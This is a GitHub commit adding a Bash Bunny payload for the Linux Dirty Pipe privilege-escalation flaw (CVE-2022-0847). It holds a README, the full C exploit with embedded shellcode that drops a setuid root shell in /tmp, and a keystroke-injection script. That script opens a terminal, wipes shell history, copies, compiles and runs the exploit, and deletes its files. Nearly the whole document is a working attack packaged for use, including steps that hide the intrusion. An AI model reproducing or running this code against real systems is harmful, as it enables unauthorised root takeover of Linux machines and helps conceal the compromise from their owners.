uploaded dirtypipe (#506)
* uploaded dirtypipe Exploit for a new Linux vulnerability known as 'Dirty Pipe(CVE-2022-0847)' allows local users to gain root privileges. * exploit * Create README.md * fixing typopull/508/head
drapl0n
GitHub
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## About:
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* Title: DirtyPipe
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* Description: Exploit for a new Linux vulnerability known as 'Dirty Pipe(CVE-2022-0847)' allows local users to gain root privileges.
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* AUTHOR: drapl0n
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* Version: 1.0
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* Category: Execution
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* Target: Linux operating systems.
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* Attackmodes: HID, Storage
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## DirtyPipe: Exploit for a new Linux vulnerability known as 'Dirty Pipe(CVE-2022-0847)' allows local users to gain root privileges. The vulnerability is tracked as CVE-2022-0847 and allows a non-privileged user to inject and overwrite data in read-only files, including SUID processes that run as root.
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### Directory Structure of payload components:
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| FileName | Directory |
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| -------------- | ----------------------------- |
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| payload.txt | /payloads/ |
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| dirtypipe.c | /payloads/library/ |
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### LED Status:
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* `SETUP` : MAGENTA
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* `ATTACK` : YELLOW
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* `FINISH` : GREEN
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#### Support me if you like my work:
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* https://twitter.com/drapl0n
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#define _GNU_SOURCE
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#include <unistd.h>
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#include <fcntl.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <sys/stat.h>
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#include <sys/user.h>
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#include <stdint.h>
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#ifndef PAGE_SIZE
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#define PAGE_SIZE 4096
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#endif
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// small (linux x86_64) ELF file matroshka doll that does;
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// fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
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// write(fd, elfcode, elfcode_len)
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// chmod("/tmp/sh", 04755)
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// close(fd);
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// exit(0);
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//
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// the dropped ELF simply does:
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// setuid(0);
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// setgid(0);
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// execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
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unsigned char elfcode[] = {
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/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
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0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
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0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
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0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
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0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
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0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
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0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
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0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
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0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
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0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
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0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
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0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
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0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
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0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
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0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
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0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
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0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
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0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
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0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
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0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
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0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
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};
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/**
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* Create a pipe where all "bufs" on the pipe_inode_info ring have the
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* PIPE_BUF_FLAG_CAN_MERGE flag set.
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*/
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static void prepare_pipe(int p[2])
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{
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if (pipe(p)) abort();
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const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
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static char buffer[4096];
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/* fill the pipe completely; each pipe_buffer will now have
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the PIPE_BUF_FLAG_CAN_MERGE flag */
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for (unsigned r = pipe_size; r > 0;) {
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unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
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write(p[1], buffer, n);
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r -= n;
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}
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/* drain the pipe, freeing all pipe_buffer instances (but
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leaving the flags initialized) */
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for (unsigned r = pipe_size; r > 0;) {
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unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
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read(p[0], buffer, n);
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r -= n;
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}
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/* the pipe is now empty, and if somebody adds a new
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pipe_buffer without initializing its "flags", the buffer
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will be mergeable */
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}
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int hax(char *filename, long offset, uint8_t *data, size_t len) {
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/* open the input file and validate the specified offset */
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const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
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if (fd < 0) {
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perror("open failed");
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return -1;
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}
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struct stat st;
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if (fstat(fd, &st)) {
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perror("stat failed");
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return -1;
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}
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/* create the pipe with all flags initialized with
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PIPE_BUF_FLAG_CAN_MERGE */
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int p[2];
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prepare_pipe(p);
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/* splice one byte from before the specified offset into the
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pipe; this will add a reference to the page cache, but
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since copy_page_to_iter_pipe() does not initialize the
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"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
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--offset;
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ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
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if (nbytes < 0) {
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perror("splice failed");
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return -1;
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}
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if (nbytes == 0) {
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fprintf(stderr, "short splice\n");
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return -1;
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}
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/* the following write will not create a new pipe_buffer, but
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will instead write into the page cache, because of the
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PIPE_BUF_FLAG_CAN_MERGE flag */
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nbytes = write(p[1], data, len);
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if (nbytes < 0) {
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perror("write failed");
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return -1;
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}
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if ((size_t)nbytes < len) {
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fprintf(stderr, "short write\n");
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return -1;
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}
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close(fd);
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return 0;
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}
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int main(int argc, char **argv) {
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if (argc != 2) {
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fprintf(stderr, "Usage: %s SUID\n", argv[0]);
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return EXIT_FAILURE;
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}
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char *path = argv[1];
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uint8_t *data = elfcode;
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int fd = open(path, O_RDONLY);
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uint8_t *orig_bytes = malloc(sizeof(elfcode));
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lseek(fd, 1, SEEK_SET);
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read(fd, orig_bytes, sizeof(elfcode));
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close(fd);
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printf("[+] hijacking suid binary..\n");
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if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {
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printf("[~] failed\n");
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return EXIT_FAILURE;
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}
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printf("[+] dropping suid shell..\n");
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system(path);
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printf("[+] restoring suid binary..\n");
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if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {
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printf("[~] failed\n");
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return EXIT_FAILURE;
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}
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printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");
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system("/tmp/sh");
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return EXIT_SUCCESS;
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}
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# Title: DirtyPipe
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# Description: Exploit for a new Linux vulnerability known as 'Dirty Pipe(CVE-2022-0847)' allows local users to gain root privileges.
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# AUTHOR: drapl0n
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# Version: 1.0
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# Category: Execution
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# Target: Linux operating systems.
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# Attackmodes: HID, Storage
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LED SETUP
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ATTACKMODE STORAGE HID
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GET SWITCH_POSITION
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LED ATTACK
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Q DELAY 1000
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Q CTRL-ALT t
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Q DELAY 1000
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# [Prevent storing history]
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Q STRING unset HISTFILE
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Q ENTER
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Q DELAY 100
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Q STRING HISTSIZE=0
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Q ENTER
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Q DELAY 100
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Q STRING rm -f '$HISTFILE'
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Q ENTER
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Q DELAY 100
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# [Fetching BashBunny's block device]
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Q STRING lol='$(lsblk | grep 1.8G)'
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Q ENTER
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Q DELAY 100
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Q STRING disk='$(echo $lol | awk '\'{print\ '$1'}\'\)''
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Q ENTER
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Q DELAY 200
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# [Mounting BashBunny]
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Q STRING udisksctl mount -b /dev/'$disk' /tmp/tmppp
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Q ENTER
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Q DELAY 2000
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Q STRING mntt='$(lsblk | grep $disk | awk '\'{print\ '$7'}\'\)''
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Q ENTER
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Q DELAY 500
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# [transfering and executing exploit]
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Q STRING cp -r '$mntt'/payloads/library/dirtypipe.c /tmp/
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Q ENTER
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Q DELAY 100
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Q STRING gcc /tmp/dirtypipe.c -o /tmp/dirtypipe
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Q ENTER
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Q DELAY 1000
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Q STRING chmod +x /tmp/dirtypipe
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Q ENTER
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Q STRING /tmp/./dirtypipe /bin/bash
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Q ENTER
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Q DELAY 500
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Q STRING sudo su
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Q ENTER
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Q CTRL-ALT t
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Q DELAY 500
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Q STRING rm /tmp/dirtypipe
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Q ENTER
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Q DELAY 100
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Q STRING rm /tmp/dirtypipe.c
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Q ENTER
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Q DELAY 200
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# [Unmounting BashBunny]
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Q STRING unset HISTFILE
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Q ENTER
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Q DELAY 100
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Q STRING lol='$(lsblk | grep 1.8G)'
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Q ENTER
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Q DELAY 100
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Q STRING disk='$(echo $lol | awk '\'{print\ '$1'}\'\)''
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Q ENTER
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Q DELAY 100
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Q STRING udisksctl unmount -b /dev/'$disk'
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Q ENTER
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Q DELAY 500
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Q STRING exit
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Q ENTER
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LED FINISH
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